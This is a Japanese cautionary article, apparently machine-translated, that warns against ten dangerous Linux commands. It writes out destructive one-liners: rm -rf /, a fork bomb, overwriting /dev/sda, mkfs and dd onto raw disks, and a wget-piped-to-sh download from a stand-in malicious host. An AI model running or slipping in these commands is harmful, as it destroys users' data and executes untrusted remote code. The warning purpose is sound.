Linuxの中で10の最も危険な命令について話します
Linuxコマンドは役に立ち、効率的で、面白いですが、特に自分が何をしているのか分からないときも危険です。
この文章では10のコマンドを紹介しますが、使ってみないほうがいいです。
もちろん、以下の命令は通常root権限の下で愚かさを救いようがないほど発揮することができます。普通のユーザーの身分の下で、破壊したのは自分の1ムーの3分の1の土地だけです。
1.rm-rfコマンドrm-rfコマンドは、フォルダとその内容を削除する最も速い方法の1つです。
わずかなノックミスや無知では、回復不可能なシステムが崩壊する可能性があります。
以下に、rmコマンドのオプションを示します。
1.rmコマンドはLinuxで通常ファイルを削除するために使用されます。
2.rm-rコマンドは、フォルダを再帰的に削除し、空のフォルダも削除します。
3.rm-fコマンドは、問い合わせなしに「読み取り専用ファイル」を直接削除できます。Linuxでファイルを削除すると、そのファイルが読み取り専用であるかどうかは気になりませんが、親ディレクトリに書き込み権限があるかどうかは気になります。したがって,−fというパラメータは,個々の削除確認を必要とせず,一律にこっそり削除することを示す.また、元のrmコマンドも削除プロンプトはありませんが、一般的なリリースではrmを別名で-iパラメータを増やして削除確認を要求しますが、-fはこのプロンプトを抑制します。4.rm-rf/:ルートディレクトリの下のすべての東を強制的に削除します。
5.rm-rf*:現在のディレクトリのすべてのファイルを強制的に削除します。
6.rm -rf . : 現在のフォルダとそのサブフォルダを強制的に削除します。これからは、rm-rfコマンドを実行するときは注意してください。「.bashrc」ファイルで「rm」コマンドに対してrm-iの別名を作成し、「rm」コマンドでファイルを削除するときの事故を予防することができます。各削除要求を確認するように要求されます。(注:多くのリリース版はすでにこのようにしていますが、まだしていない場合は、このようにしてください。-fパラメータを使用する前に、あなたが何をしているのかを必ず考えてください。翻訳者本人は血と涙の教訓を持っています。)
2. :{:|:&};: コマンド#コマンド#
これがfork爆弾の例です。具体的な操作は、':'という関数を定義することで、フロントで2回、バックグラウンドで1回実行されます。システムがクラッシュするまで繰り返し実行されます。
3.コマンド>/dev/sda
このコマンドは、ブロックデバイス/dev/sdaに「コマンド」の出力を書きます。この操作により、ブロックデバイス内のすべてのデータブロックがコマンドで書き込まれた元のデータに置き換えられ、ブロックデバイス全体のデータが失われます。
4.mvフォルダ/dev/null
このコマンドは、フォルダ'/dev/nullに移動します。
Linuxでは/dev/nullまたはnullデバイスは特殊なファイルであり、書き込まれたデータはすべて消去され、書き込みに成功します。もちろん、このコマンドはデータ復旧ソフトウェアを阻止することはできません。そのため、本当に徹底的に破壊するには、専用のソフトウェアや手法を採用する必要があります。
5. wget http://malicious_source -O- | sh
このコマンドは、悪意のあるソースからスクリプトをダウンロードして実行します。
Wgetコマンドはこのスクリプトをダウンロードし、shはダウンロードしたスクリプトを実行します。注意:パッケージやスクリプトをダウンロードするソースに常に注意する必要があります。信頼できるソースからスクリプト/プログラムをダウンロードするには、それらしか使用できません。
6. mkfs.ext3 /dev/sda
上のコマンドはブロックデバイス「sda」をフォーマットし、このコマンドを実行するとブロックデバイス(ハードディスクドライブ)がフォーマットされ、直接システムがリカバリできない段階に達します。
通常、rawデバイスとして使用しない限り、/dev/sdaのようなデバイスは直接使用されません。
一般的には、sdaをsda 1、sda 2のようなパーティションに分けて使用する必要があります。もちろん、sdaを使用してもsda 1を使用しても、ブロックデバイスやパーティションのmkfsは破壊的であり、上記のデータは蒸発します。7. > file
このコマンドは、ファイルの内容を空にしたり、コマンドの出力を記録したりするためによく使用されます。
しかし、実行する前に、出力されたファイルが空であるか、まだ存在しないかを確認してください。そうしないと、元のファイルは本当に回復できません。データ回復ソフトウェアさえ助けてくれるとは限りません。本当に使いたいのは、そのファイルをリフレッシュするのではなく、新しい出力をファイルに累積することです。
上の列で実行するときにエラーまたは無知な入力「>xt.conf」のようなコマンドを入力すると、プロファイルまたは他のシステムプロファイルが上書きされます。
8. ^foo^barこのコマンドは、コマンド全体をやり直すことなく、以前に実行されたコマンドを編集するために使用されます。
foobarコマンドを使用する場合、元のコマンドを変更するリスクを徹底的にチェックしないと、本当のトラブルを引き起こす可能性があります。
9. dd if=/dev/random of=/dev/sda
このコマンドは、ブロックデバイスsdaにランダムなゴミファイルを書き込み、データを消去し、システムを混乱させ、リカバリ不可能な状態に陥れる可能性があります。
mvからブラックホールまでデータを完全に削除できないと言ったのを覚えていますか?では、このコマンドはあなたに徹底的に削除する方法をあげました!もちろん、念のため、何度も繰り返してもいいです。
10.隠しコマンド
次のコマンドは実は上の最初のコマンド(rm-rf)です。
ここのコードは16進数に隠されており、無知なユーザーが愚弄される可能性があります。端末で次のコマンドを実行すると、ルートパーティションが消去される可能性があります。
本当の危険は隠れていて、簡単に検出されません。何をしているのか、結果がどうなるのか、常に気をつけなければなりません。